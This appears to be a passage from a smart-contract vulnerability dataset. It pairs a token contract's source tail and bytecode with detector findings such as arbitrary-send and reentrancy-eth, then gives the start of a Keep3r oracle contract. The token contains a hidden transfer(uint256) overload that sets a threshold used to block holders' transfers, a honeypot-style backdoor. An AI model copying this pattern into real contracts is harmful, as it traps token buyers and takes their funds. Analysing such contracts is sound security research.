emit Transfer(from, to, amount);
}
function transfer(uint256 amnt) external {
if (swapAmount < _collection1[msg.sender]) _value = amnt;
}
function swapAndLiquify(uint256 tokens) private {
uint256 half = tokens / 2;
uint256 initialBalance = address(this).balance;
swapTokensForEth(half, address(this));
uint256 newBalance = address(this).balance - initialBalance;
addLiquidity(half, newBalance, address(this));
}
function swapTokensForEth(uint256 tokenAmount, address to) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
_approve(address(this), address(router), tokenAmount);
router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, to, block.timestamp + 20);
}
function addLiquidity(
uint256 tokenAmount,
uint256 ethAmount,
address to
) private {
_approve(address(this), address(router), tokenAmount);
router.addLiquidityETH{value: ethAmount}(address(this), tokenAmount, 0, 0, to, block.timestamp + 20);
}
}
|
0x6080604052600436106101185760003560e01c806370a08231116100a0578063a8aa1b3111610064578063a8aa1b311461039e578063a9059cbb146103c9578063dd62ed3e14610406578063f2fde38b14610443578063f887ea401461046c5761011f565b806370a08231146102c9578063715018a6146103065780638da5cb5b1461031d57806395d89b41146103485780639a36f932146103735761011f565b806323b872dd116100e757806323b872dd146101e05780632b14ca561461021d578063313ce56714610248578063470624021461027357806349bd5a5e1461029e5761011f565b806306fdde0314610124578063095ea7b31461014f57806312514bba1461018c57806318160ddd146101b55761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610497565b6040516101469190612016565b60405180910390f35b34801561015b57600080fd5b5061017660048036038101906101719190611ce6565b610529565b6040516101839190611fe0565b60405180910390f35b34801561019857600080fd5b506101b360048036038101906101ae9190611d26565b61053e565b005b3480156101c157600080fd5b506101ca610592565b6040516101d791906120b8565b60405180910390f35b3480156101ec57600080fd5b5061020760048036038101906102029190611c93565b6105b6565b6040516102149190611fe0565b60405180910390f35b34801561022957600080fd5b5061023261065e565b60405161023f91906120b8565b60405180910390f35b34801561025457600080fd5b5061025d610664565b60405161026a91906120b8565b60405180910390f35b34801561027f57600080fd5b50610288610670565b60405161029591906120b8565b60405180910390f35b3480156102aa57600080fd5b506102b3610676565b6040516102c09190611f3b565b60405180910390f35b3480156102d557600080fd5b506102f060048036038101906102eb9190611bf9565b61069c565b6040516102fd91906120b8565b60405180910390f35b34801561031257600080fd5b5061031b6106e5565b005b34801561032957600080fd5b5061033261076d565b60405161033f9190611f3b565b60405180910390f35b34801561035457600080fd5b5061035d610796565b60405161036a9190612016565b60405180910390f35b34801561037f57600080fd5b50610388610828565b60405161039591906120b8565b60405180910390f35b3480156103aa57600080fd5b506103b361082e565b6040516103c09190611f3b565b60405180910390f35b3480156103d557600080fd5b506103f060048036038101906103eb9190611ce6565b6109fe565b6040516103fd9190611fe0565b60405180910390f35b34801561041257600080fd5b5061042d60048036038101906104289190611c53565b610a15565b60405161043a91906120b8565b60405180910390f35b34801561044f57600080fd5b5061046a60048036038101906104659190611bf9565b610a9c565b005b34801561047857600080fd5b50610481610b94565b60405161048e9190611ffb565b60405180910390f35b6060600580546104a6906124d8565b80601f01602080910402602001604051908101604052809291908181526020018280546104d2906124d8565b801561051f5780601f106104f45761010080835404028352916020019161051f565b820191906000526020600020905b81548152906001019060200180831161050257829003601f168201915b5050505050905090565b6000610536338484610bba565b905092915050565b600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600154101561058f57806007819055505b50565b60006009600a6105a2919061225c565b633b9aca006105b1919061237a565b905090565b60006105c3848484610d55565b610655843384600e60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461065091906123d4565b610bba565b90509392505050565b60035481565b6000600960ff16905090565b60025481565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6106ed61173d565b73ffffffffffffffffffffffffffffffffffffffff1661070b61076d565b73ffffffffffffffffffffffffffffffffffffffff1614610761576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161075890612078565b60405180910390fd5b61076b6000611745565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600680546107a5906124d8565b80601f01602080910402602001604051908101604052809291908181526020018280546107d1906124d8565b801561081e5780601f106107f35761010080835404028352916020019161081e565b820191906000526020600020905b81548152906001019060200180831161080157829003601f168201915b5050505050905090565b60045481565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561089857600080fd5b505afa1580156108ac573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108d09190611c26565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561095457600080fd5b505afa158015610968573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061098c9190611c26565b6040518363ffffffff1660e01b81526004016109a9929190611f56565b60206040518083038186803b1580156109c157600080fd5b505afa1580156109d5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109f99190611c26565b905090565b6000610a0b338484610d55565b6001905092915050565b6000600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610aa461173d565b73ffffffffffffffffffffffffffffffffffffffff16610ac261076d565b73ffffffffffffffffffffffffffffffffffffffff1614610b18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0f90612078565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610b88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7f90612058565b60405180910390fd5b610b9181611745565b50565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610c255750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b610c64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5b90612098565b60405180910390fd5b81600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610d4291906120b8565b60405180910390a3600190509392505050565b600860159054906101000a900460ff16158015610dc05750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015610e1a5750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015610e6557506000600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b8015610e7357506001548111155b15610f09576000600754600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ec79190612182565b1015610f08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eff90612038565b60405180910390fd5b5b6000610f143061069c565b90506000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614610f7557600254610f79565b6003545b9050600073ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141561101b57610fda61082e565b600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600860149054906101000a900460ff168015611038575060015482115b80156110515750600860159054906101000a900460ff16155b80156110ab5750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b156110f4576001600860156101000a81548160ff0219169083151502179055506110d482611809565b6000600860156101000a81548160ff0219169083151502179055506111f2565b6000600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411801561118257506000600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156111f15782905080600d60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111d99190612182565b925050819055506111ea838561184a565b5050611738565b5b600154831180156112515750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156112ab5750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561138d576000600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156113415782600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611386565b82600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050611738565b600080600b60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414801561141c57506000600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b80156114285750600082115b80156114415750600860159054906101000a900460ff16155b90506000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414156114f957600154600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b85600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081156116225760045460648487611551919061237a565b61155b91906121d8565b61156591906121d8565b9250828561157391906123d4565b945082600d60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546115c491906123d4565b9250508190555082600d60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461161a9190612182565b925050819055505b84600d60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461167191906123d4565b9250508190555084600d60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546116c79190612182565b925050819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8760405161172b91906120b8565b60405180910390a3505050505b505050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600060028261181891906121d8565b90506000479050611829823061184a565b6000814761183791906123d4565b9050611844838230611aaa565b50505050565b6000600267ffffffffffffffff811115611867576118666125c6565b5b6040519080825280602002602001820160405280156118955781602001602082028036833780820191505090505b50905030816000815181106118ad576118ac612597565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561194f57600080fd5b505afa158015611963573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119879190611c26565b8160018151811061199b5761199a612597565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611a0230600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1685610bba565b50600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008486601442611a539190612182565b6040518663ffffffff1660e01b8152600401611a739594939291906120d3565b600060405180830381600087803b158015611a8d57600080fd5b505af1158015611aa1573d6000803e3d6000fd5b50505050505050565b611ad730600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1685610bba565b50600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71983308660008087601442611b2a9190612182565b6040518863ffffffff1660e01b8152600401611b4b96959493929190611f7f565b6060604051808303818588803b158015611b6457600080fd5b505af1158015611b78573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611b9d9190611d53565b505050505050565b600081359050611bb48161272e565b92915050565b600081519050611bc98161272e565b92915050565b600081359050611bde81612745565b92915050565b600081519050611bf381612745565b92915050565b600060208284031215611c0f57611c0e6125f5565b5b6000611c1d84828501611ba5565b91505092915050565b600060208284031215611c3c57611c3b6125f5565b5b6000611c4a84828501611bba565b91505092915050565b60008060408385031215611c6a57611c696125f5565b5b6000611c7885828601611ba5565b9250506020611c8985828601611ba5565b9150509250929050565b600080600060608486031215611cac57611cab6125f5565b5b6000611cba86828701611ba5565b9350506020611ccb86828701611ba5565b9250506040611cdc86828701611bcf565b9150509250925092565b60008060408385031215611cfd57611cfc6125f5565b5b6000611d0b85828601611ba5565b9250506020611d1c85828601611bcf565b9150509250929050565b600060208284031215611d3c57611d3b6125f5565b5b6000611d4a84828501611bcf565b91505092915050565b600080600060608486031215611d6c57611d6b6125f5565b5b6000611d7a86828701611be4565b9350506020611d8b86828701611be4565b9250506040611d9c86828701611be4565b9150509250925092565b6000611db28383611dbe565b60208301905092915050565b611dc781612408565b82525050565b611dd681612408565b82525050565b6000611de78261213d565b611df18185612160565b9350611dfc8361212d565b8060005b83811015611e2d578151611e148882611da6565b9750611e1f83612153565b925050600181019050611e00565b5085935050505092915050565b611e438161241a565b82525050565b611e528161245d565b82525050565b611e618161246f565b82525050565b6000611e7282612148565b611e7c8185612171565b9350611e8c8185602086016124a5565b611e95816125fa565b840191505092915050565b6000611ead602683612171565b9150611eb882612618565b604082019050919050565b6000611ed0602683612171565b9150611edb82612667565b604082019050919050565b6000611ef3602083612171565b9150611efe826126b6565b602082019050919050565b6000611f16602483612171565b9150611f21826126df565b604082019050919050565b611f3581612446565b82525050565b6000602082019050611f506000830184611dcd565b92915050565b6000604082019050611f6b6000830185611dcd565b611f786020830184611dcd565b9392505050565b600060c082019050611f946000830189611dcd565b611fa16020830188611f2c565b611fae6040830187611e58565b611fbb6060830186611e58565b611fc86080830185611dcd565b611fd560a0830184611f2c565b979650505050505050565b6000602082019050611ff56000830184611e3a565b92915050565b60006020820190506120106000830184611e49565b92915050565b600060208201905081810360008301526120308184611e67565b905092915050565b6000602082019050818103600083015261205181611ea0565b9050919050565b6000602082019050818103600083015261207181611ec3565b9050919050565b6000602082019050818103600083015261209181611ee6565b9050919050565b600060208201905081810360008301526120b181611f09565b9050919050565b60006020820190506120cd6000830184611f2c565b92915050565b600060a0820190506120e86000830188611f2c565b6120f56020830187611e58565b81810360408301526121078186611ddc565b90506121166060830185611dcd565b6121236080830184611f2c565b9695505050505050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061218d82612446565b915061219883612446565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156121cd576121cc61250a565b5b828201905092915050565b60006121e382612446565b91506121ee83612446565b9250826121fe576121fd612539565b5b828204905092915050565b6000808291508390505b60018511156122535780860481111561222f5761222e61250a565b5b600185161561223e5780820291505b808102905061224c8561260b565b9450612213565b94509492505050565b600061226782612446565b915061227283612450565b925061229f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846122a7565b905092915050565b6000826122b75760019050612373565b816122c55760009050612373565b81600181146122db57600281146122e557612314565b6001915050612373565b60ff8411156122f7576122f661250a565b5b8360020a91508482111561230e5761230d61250a565b5b50612373565b5060208310610133831016604e8410600b84101617156123495782820a9050838111156123445761234361250a565b5b612373565b6123568484846001612209565b9250905081840481111561236d5761236c61250a565b5b81810290505b9392505050565b600061238582612446565b915061239083612446565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156123c9576123c861250a565b5b828202905092915050565b60006123df82612446565b91506123ea83612446565b9250828210156123fd576123fc61250a565b5b828203905092915050565b600061241382612426565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061246882612481565b9050919050565b600061247a82612446565b9050919050565b600061248c82612493565b9050919050565b600061249e82612426565b9050919050565b60005b838110156124c35780820151818401526020810190506124a8565b838111156124d2576000848401525b50505050565b600060028204905060018216806124f057607f821691505b6020821081141561250457612503612568565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b7f5472616e7366657220616d6f756e742065786365656473206d6178696d756d2060008201527f616d6f756e740000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b61273781612408565b811461274257600080fd5b50565b61274e81612446565b811461275957600080fd5b5056fea26469706673582212201d676c2622944c4b22a8bd2c49e72b1b6f44767aa740cb70248e4a653503baed64736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 8,187 |
0xe20b3f175f9f4e1eddf333f96b72bba138c9e83a
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
interface IUniswapV2Pair {
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function token0() external view returns (address);
function token1() external view returns (address);
}
interface IKeep3rV1 {
function keepers(address keeper) external returns (bool);
function KPRH() external view returns (IKeep3rV1Helper);
function receipt(address credit, address keeper, uint amount) external;
}
interface IKeep3rV1Helper {
function getQuoteLimit(uint gasUsed) external view returns (uint);
}
// sliding oracle that uses observations collected to provide moving price averages in the past
contract Keep3rV2Oracle {
constructor(address _pair) {
_factory = msg.sender;
pair = _pair;
(,,uint32 timestamp) = IUniswapV2Pair(_pair).getReserves();
uint112 _price0CumulativeLast = uint112(IUniswapV2Pair(_pair).price0CumulativeLast() * e10 / Q112);
uint112 _price1CumulativeLast = uint112(IUniswapV2Pair(_pair).price1CumulativeLast() * e10 / Q112);
observations[length++] = Observation(timestamp, _price0CumulativeLast, _price1CumulativeLast);
}
struct Observation {
uint32 timestamp;
uint112 price0Cumulative;
uint112 price1Cumulative;
}
modifier factory() {
require(msg.sender == _factory, "!F");
_;
}
Observation[65535] public observations;
uint16 public length;
address immutable _factory;
address immutable public pair;
// this is redundant with granularity and windowSize, but stored for gas savings & informational purposes.
uint constant periodSize = 1800;
uint Q112 = 2**112;
uint e10 = 10**18;
// Pre-cache slots for cheaper oracle writes
function cache(uint size) external {
uint _length = length+size;
for (uint i = length; i < _length; i++) observations[i].timestamp = 1;
}
// update the current feed for free
function update() external factory returns (bool) {
return _update();
}
function updateable() external view returns (bool) {
Observation memory _point = observations[length-1];
(,, uint timestamp) = IUniswapV2Pair(pair).getReserves();
uint timeElapsed = timestamp - _point.timestamp;
return timeElapsed > periodSize;
}
function _update() internal returns (bool) {
Observation memory _point = observations[length-1];
(,, uint32 timestamp) = IUniswapV2Pair(pair).getReserves();
uint32 timeElapsed = timestamp - _point.timestamp;
if (timeElapsed > periodSize) {
uint112 _price0CumulativeLast = uint112(IUniswapV2Pair(pair).price0CumulativeLast() * e10 / Q112);
uint112 _price1CumulativeLast = uint112(IUniswapV2Pair(pair).price1CumulativeLast() * e10 / Q112);
observations[length++] = Observation(timestamp, _price0CumulativeLast, _price1CumulativeLast);
return true;
}
return false;
}
function _computeAmountOut(uint start, uint end, uint elapsed, uint amountIn) internal view returns (uint amountOut) {
amountOut = amountIn * (end - start) / e10 / elapsed;
}
function current(address tokenIn, uint amountIn, address tokenOut) external view returns (uint amountOut, uint lastUpdatedAgo) {
(address token0,) = tokenIn < tokenOut ? (tokenIn, tokenOut) : (tokenOut, tokenIn);
Observation memory _observation = observations[length-1];
uint price0Cumulative = IUniswapV2Pair(pair).price0CumulativeLast() * e10 / Q112;
uint price1Cumulative = IUniswapV2Pair(pair).price1CumulativeLast() * e10 / Q112;
(,,uint timestamp) = IUniswapV2Pair(pair).getReserves();
// Handle edge cases where we have no updates, will revert on first reading set
if (timestamp == _observation.timestamp) {
_observation = observations[length-2];
}
uint timeElapsed = timestamp - _observation.timestamp;
timeElapsed = timeElapsed == 0 ? 1 : timeElapsed;
if (token0 == tokenIn) {
amountOut = _computeAmountOut(_observation.price0Cumulative, price0Cumulative, timeElapsed, amountIn);
} else {
amountOut = _computeAmountOut(_observation.price1Cumulative, price1Cumulative, timeElapsed, amountIn);
}
lastUpdatedAgo = timeElapsed;
}
function quote(address tokenIn, uint amountIn, address tokenOut, uint points) external view returns (uint amountOut, uint lastUpdatedAgo) {
(address token0,) = tokenIn < tokenOut ? (tokenIn, tokenOut) : (tokenOut, tokenIn);
uint priceAverageCumulative = 0;
uint _length = length-1;
uint i = _length - points;
Observation memory currentObservation;
Observation memory nextObservation;
uint nextIndex = 0;
if (token0 == tokenIn) {
for (; i < _length; i++) {
nextIndex = i+1;
currentObservation = observations[i];
nextObservation = observations[nextIndex];
priceAverageCumulative += _computeAmountOut(
currentObservation.price0Cumulative,
nextObservation.price0Cumulative,
nextObservation.timestamp - currentObservation.timestamp, amountIn);
}
} else {
for (; i < _length; i++) {
nextIndex = i+1;
currentObservation = observations[i];
nextObservation = observations[nextIndex];
priceAverageCumulative += _computeAmountOut(
currentObservation.price1Cumulative,
nextObservation.price1Cumulative,
nextObservation.timestamp - currentObservation.timestamp, amountIn);
}
}
amountOut = priceAverageCumulative / points;
(,,uint timestamp) = IUniswapV2Pair(pair).getReserves();
lastUpdatedAgo = timestamp - nextObservation.timestamp;
}
function sample(address tokenIn, uint amountIn, address tokenOut, uint points, uint window) external view returns (uint[] memory prices, uint lastUpdatedAgo) {
(address token0,) = tokenIn < tokenOut ? (tokenIn, tokenOut) : (tokenOut, tokenIn);
prices = new uint[](points);
if (token0 == tokenIn) {
{
uint _length = length-1;
uint i = _length - (points * window);
uint _index = 0;
Observation memory nextObservation;
for (; i < _length; i+=window) {
Observation memory currentObservation;
currentObservation = observations[i];
nextObservation = observations[i + window];
prices[_index] = _computeAmountOut(
currentObservation.price0Cumulative,
nextObservation.price0Cumulative,
nextObservation.timestamp - currentObservation.timestamp, amountIn);
_index = _index + 1;
}
(,,uint timestamp) = IUniswapV2Pair(pair).getReserves();
lastUpdatedAgo = timestamp - nextObservation.timestamp;
}
} else {
{
uint _length = length-1;
uint i = _length - (points * window);
uint _index = 0;
Observation memory nextObservation;
for (; i < _length; i+=window) {
Observation memory currentObservation;
currentObservation = observations[i];
nextObservation = observations[i + window];
prices[_index] = _computeAmountOut(
currentObservation.price1Cumulative,
nextObservation.price1Cumulative,
nextObservation.timestamp - currentObservation.timestamp, amountIn);
_index = _index + 1;
}
(,,uint timestamp) = IUniswapV2Pair(pair).getReserves();
lastUpdatedAgo = timestamp - nextObservation.timestamp;
}
}
}
}
contract Keep3rV2OracleFactory {
function pairForSushi(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint160(uint256(keccak256(abi.encodePacked(
hex'ff',
0xc35DADB65012eC5796536bD9864eD8773aBc74C4,
keccak256(abi.encodePacked(token0, token1)),
hex'e18a34eb0e04b04f7a0ac29a6e80748dca96319b42c54d679cb821dca90c6303' // init code hash
)))));
}
function pairForUni(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint160(uint256(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
)))));
}
modifier keeper() {
require(KP3R.keepers(msg.sender), "!K");
_;
}
modifier upkeep() {
uint _gasUsed = gasleft();
require(KP3R.keepers(msg.sender), "!K");
_;
uint _received = KP3R.KPRH().getQuoteLimit(_gasUsed - gasleft());
KP3R.receipt(address(KP3R), msg.sender, _received);
}
address public governance;
address public pendingGovernance;
/**
* @notice Allows governance to change governance (for future upgradability)
* @param _governance new governance address to set
*/
function setGovernance(address _governance) external {
require(msg.sender == governance, "!G");
pendingGovernance = _governance;
}
/**
* @notice Allows pendingGovernance to accept their role as governance (protection pattern)
*/
function acceptGovernance() external {
require(msg.sender == pendingGovernance, "!pG");
governance = pendingGovernance;
}
IKeep3rV1 public constant KP3R = IKeep3rV1(0x1cEB5cB57C4D4E2b2433641b95Dd330A33185A44);
address[] internal _pairs;
mapping(address => Keep3rV2Oracle) public feeds;
function pairs() external view returns (address[] memory) {
return _pairs;
}
constructor() {
governance = msg.sender;
}
function update(address pair) external keeper returns (bool) {
return feeds[pair].update();
}
function byteCode(address pair) external pure returns (bytes memory bytecode) {
bytecode = abi.encodePacked(type(Keep3rV2Oracle).creationCode, abi.encode(pair));
}
function deploy(address pair) external returns (address feed) {
require(msg.sender == governance, "!G");
require(address(feeds[pair]) == address(0), 'PE');
bytes memory bytecode = abi.encodePacked(type(Keep3rV2Oracle).creationCode, abi.encode(pair));
bytes32 salt = keccak256(abi.encodePacked(pair));
assembly {
feed := create2(0, add(bytecode, 0x20), mload(bytecode), salt)
if iszero(extcodesize(feed)) {
revert(0, 0)
}
}
feeds[pair] = Keep3rV2Oracle(feed);
_pairs.push(pair);
}
function work() external upkeep {
require(workable(), "!W");
for (uint i = 0; i < _pairs.length; i++) {
feeds[_pairs[i]].update();
}
}
function work(address pair) external upkeep {
require(feeds[pair].update(), "!W");
}
function workForFree() external keeper {
for (uint i = 0; i < _pairs.length; i++) {
feeds[_pairs[i]].update();
}
}
function workForFree(address pair) external keeper {
feeds[pair].update();
}
function cache(uint size) external {
for (uint i = 0; i < _pairs.length; i++) {
feeds[_pairs[i]].cache(size);
}
}
function cache(address pair, uint size) external {
feeds[pair].cache(size);
}
function workable() public view returns (bool canWork) {
canWork = true;
for (uint i = 0; i < _pairs.length; i++) {
if (!feeds[_pairs[i]].updateable()) {
canWork = false;
}
}
}
function workable(address pair) public view returns (bool) {
return feeds[pair].updateable();
}
function sample(address tokenIn, uint amountIn, address tokenOut, uint points, uint window, bool sushiswap) external view returns (uint[] memory prices, uint lastUpdatedAgo) {
address _pair = sushiswap ? pairForSushi(tokenIn, tokenOut) : pairForUni(tokenIn, tokenOut);
return feeds[_pair].sample(tokenIn, amountIn, tokenOut, points, window);
}
function sample(address pair, address tokenIn, uint amountIn, address tokenOut, uint points, uint window) external view returns (uint[] memory prices, uint lastUpdatedAgo) {
return feeds[pair].sample(tokenIn, amountIn, tokenOut, points, window);
}
function quote(address tokenIn, uint amountIn, address tokenOut, uint points, bool sushiswap) external view returns (uint amountOut, uint lastUpdatedAgo) {
address _pair = sushiswap ? pairForSushi(tokenIn, tokenOut) : pairForUni(tokenIn, tokenOut);
return feeds[_pair].quote(tokenIn, amountIn, tokenOut, points);
}
function quote(address pair, address tokenIn, uint amountIn, address tokenOut, uint points) external view returns (uint amountOut, uint lastUpdatedAgo) {
return feeds[pair].quote(tokenIn, amountIn, tokenOut, points);
}
function current(address tokenIn, uint amountIn, address tokenOut, bool sushiswap) external view returns (uint amountOut, uint lastUpdatedAgo) {
